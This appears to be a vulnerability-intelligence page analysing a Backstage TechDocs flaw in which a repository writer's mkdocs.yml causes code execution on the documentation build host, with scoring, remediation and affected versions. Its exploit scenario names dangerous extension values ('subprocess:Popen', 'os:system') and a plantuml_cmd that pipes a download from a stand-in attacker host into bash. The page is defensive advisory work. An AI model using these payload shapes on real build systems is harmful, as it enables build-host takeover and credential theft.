Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain write access to registered repo
-
DeliveryCommit malicious mkdocs.yml extension/theme keys
-
ExploitTechDocs triggers local/container build
-
ExecutionMkDocs instantiates attacker config
-
ImpactArbitrary code execution on build host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Two concrete preconditions must both hold: (1) TechDocs must be configured to build documentation locally or in a container (techdocs.generator.runIn set to 'local' or 'docker') - SaaS/external-build setups are not affected; and (2) the attacker must have write access to a repository registered in the Backstage catalog, so this is an authenticated/authorized-insider or compromised-contributor scenario, not anonymous remote. Exploitation is via attacker-controlled keys in mkdocs.yml (e.g. dangerous markdown_extensions such as subprocess:Popen / os:system, or a plantuml_markdown plantuml_cmd value, and theme/custom_dir options) that cause code execution during the MkDocs build. The vendor notes runIn: 'docker' provides container isolation but does NOT fully mitigate; the primary limiting factor is restricting repository write access to trusted users. |
| Impact | Signals are largely consistent and point to a serious but not urgent, access-gated issue. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a low-privileged but authenticated actor achieving full confidentiality/integrity/availability impact via code execution (CWE-94). This is tempered by the real precondition: the attacker must already hold write access to a repository registered in the Backstage catalog, so PR:L is doing a lot of work here - it is not an anonymous internet-facing flaw. EPSS is low at 0.26% (16th percentile), and SSVC (Exploitation: none, Automatable: no, Technical Impact: partial) agrees this is neither actively exploited nor mass-automatable. There is no CISA KEV listing and no public exploit identified at time of analysis, so there is no 'EPSS-low-but-KEV' tension to flag. Net: a genuine RCE worth patching promptly for any org running TechDocs with local/container builds and a broad set of repo writers, but a prioritization tier below internet-facing unauthenticated RCEs - the trust boundary being crossed is 'repo writer' to 'documentation build host'. |
| Exploit ScenarioDerived | An employee or contractor with write access to a repository registered in the Backstage catalog adds malicious keys to that repo's mkdocs.yml (for example a subprocess:Popen or os:system markdown_extension, or a plantuml_markdown plantuml_cmd pointing at 'curl http://attacker/shell.sh | bash'). When TechDocs builds the docs locally or in its container, MkDocs instantiates the attacker-controlled configuration and runs the command on the build host. No public exploit is identified, but the GitHub-published fix fixtures effectively demonstrate the payload shapes. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Oct 09, 2026
Arbitrary code execution in Backstage TechDocs documentation builds allows an authenticated user with write access to a repository registered in the Backstage catalog to run commands on the build host by embedding malicious keys in the repository's mkdocs.yml. Both TechDocs build modes configured locally or in a container (techdocs.generator.runIn set to 'local' or 'docker') are vulnerable because the affected @backstage/plugin-techdocs-node package (prior to 1.14.6, and 1.15.0 through 1.15.3) failed to sanitize nested markdown_extensions and theme configuration values before invoking MkDocs. Exploitation is access-gated rather than anonymous: CVSS 3.1 scores this 8.8 with a PR:L vector, EPSS is low at 0.26% (16th percentile), CISA SSVC rates exploitation as none and automatable as no, and no public exploit code has been identified at time of analysis.
Earlier versions of this analysis (1)
Arbitrary code execution in Backstage TechDocs via the @backstage/plugin-techdocs-node package (prior to 1.14.6, and prior to 1.15.4 on the 1.15 line) lets a user who has write access to a repository registered in the Backstage catalog run attacker-controlled commands during documentation generation by embedding dangerous keys in mkdocs.yml, such as markdown_extensions entries like 'subprocess:Popen' or 'os:system', or a plantuml_cmd value in a PlantUML plugin block. The flaw is conditional rather than broadly reachable: it only triggers when TechDocs is configured to build docs locally or inside a container (the local/docker generator path), and the assessed vector (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that both the non-default build configuration and authenticated repository write access are required, bounding realistic abuse to trusted contributors or supply-chain compromise rather than anonymous remote attack. Vendor-released patches are available as @backstage/plugin-techdocs-node 1.14.6 and 1.15.4 (referenced Backstage releases v1.50.5 and v1.54.6), and no public exploit identified at time of analysis, though the public fix commits include test fixtures that illustrate the malicious configuration syntax.
RemediationAI
Vendor-released patch: upgrade @backstage/plugin-techdocs-node to 1.15.4 (or 1.14.6 on the 1.14.x line) per the GitHub Security Advisory GHSA-8w7q-29mw-gf5c, or move the Backstage core distribution to release v1.50.5 or v1.54.6, which incorporate the fixed plugin. The fix is delivered through commits 02cd7cdbb18b687446277b5602adaee7f1d53cbb and a900a9953c8f7ad3ba1906d1d257725a9996cc9d, which tighten MkDocs configuration sanitization to strip dangerous markdown_extensions entries, plantuml_cmd values, and theme/custom_dir options during the generate stage. If immediate upgrading is not possible, the vendor's documented workarounds are to set techdocs.generator.runIn: 'docker' instead of 'local' so the MkDocs build executes inside a container, accepting that this provides isolation but does NOT fully mitigate the risk, or failing that, strictly restrict write access to every repository registered in the Backstage catalog to trusted users only - the primary limiting control given the PR:L authentication requirement. Note that suppressing or disabling custom MkDocs theme and extension configuration for untrusted repositories reduces functionality for legitimate documentation authors and should be treated as a stopgap rather than a substitute for applying the patched versions.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 4 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Backstage is an open framework for building developer portals, and TechDocs is its documentation subsystem that renders MkDocs-based sites. The vulnerable component, @backstage/plugin-techdocs-node, performs a sanitization pass over the repository-supplied mkdocs.yml before the Python MkDocs static-site generator builds the docs. Because MkDocs configuration can name Python callables (for example, 'subprocess:Popen' or 'os:system' inside markdown_extensions) and can supply shell strings through plugin options such as a plantuml_markdown 'plantuml_cmd' value, an insufficient sanitizer turns a YAML configuration file into an execution primitive - the CWE-94 (Improper Control of Generation of Code) class. The upstream fix (commits 02cd7cdbb18b687446277b5602adaee7f1d53cbb and a900a9953c8f7ad3ba1906d1d257725a9996cc9d) extended the sanitizer to cover additional nested configuration keys and theme options, with new test fixtures explicitly exercising dangerous extensions (subprocess:Popen, os:system), multi-key dangerous extension entries, hyphenated and non-hyphenated plantuml_cmd directives, and theme 'custom_dir' settings, while preserving benign extensions such as toc, admonition, and pymdownx.superfences. CPE entries identify the affected packages as cpe:2.3:a:linuxfoundation:backstage_plugin-techdocs-node (multiple unversioned entries) and several cpe:2.3:a:linuxfoundation:backstage entries including 1.51.0 and its next0 through next3 pre-release channels, tying the flaw to specific Backstage release trains rather than the framework as a whole.
Know when Backstage gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attacker needs write access to a registered repo (PR:L) and reaches the build over the network via catalog registration (AV:N); build-host code execution yields full C/I/A (H).
Primary rating from Vendor (github).
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
Backstage is an open framework for building developer portals. Prior to 1.14.6, the @backstage/plugin-techdocs-node package is affected by improper validation of mkdocs theme configuration in techdocs. When TechDocs is configured to build documentation locally or in a container, a user with write access to a registered repository can include configuration values in mkdocs.yml that cause arbitrary code execution during the documentation build process. This issue is fixed in versions 1.14.6 and 1.15.4.
Technical POC Analysis
No runnable PoC and no patch diff are present in the supplied evidence (advisory GHSA-8w7q-29mw-gf5c plus your summary).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Backstage TechDocs, the documentation build service used by internal development teams, has a high-severity vulnerability that can allow an authorized repository contributor to compromise the documentation build environment. This creates a supply-chain risk because the affected build host may hold credentials and access used across engineering systems. Leadership should prioritize remediation because the flaw affects a trusted developer workflow and could be used by a malicious insider or compromised contributor, even though no public exploit identified at time of analysis.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Backstage is an open platform for building developer portals. Rated critical severity (CVSS 9.9), this vulnerability is
Authenticated Backstage users can retrieve the internal execution data of other users' Scaffolder tasks - notably the Se
Authenticated users who can register or modify a TechDocs documentation source can achieve code execution inside the Bac
Authenticated remote code execution in the @backstage/plugin-techdocs-node package shipped with the Backstage developer
Arbitrary Python code execution in Backstage's @backstage/plugin-techdocs-node (versions < 1.13.11 and = 1.14.0) lets a
Improper task-state validation in the @backstage/plugin-scaffolder-backend plugin (Backstage versions prior to 3.3.1, 3.
Path traversal in the Backstage Scaffolder Bitbucket pull-request publish actions allows an authenticated user who can e
Arbitrary code execution on the TechDocs backend host is achievable through a sanitizer bypass in the @backstage/plugin-
Improper input validation in the @backstage/plugin-scaffolder-backend-module-sentry scaffolder actions (Backstage 0.3.0
@backstage/plugin-scaffolder-backend is the backend for the default Backstage software templates. Rated high severity (C
Authenticated users of Backstage Scaffolder can bypass administrator-configured action restrictions in @backstage/plugin
Improper authentication in the Backstage @backstage/plugin-auth-backend-module-oidc-provider package prior to 0.4.20 let
EUVD-2026-94074
GHSA-8w7q-29mw-gf5c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB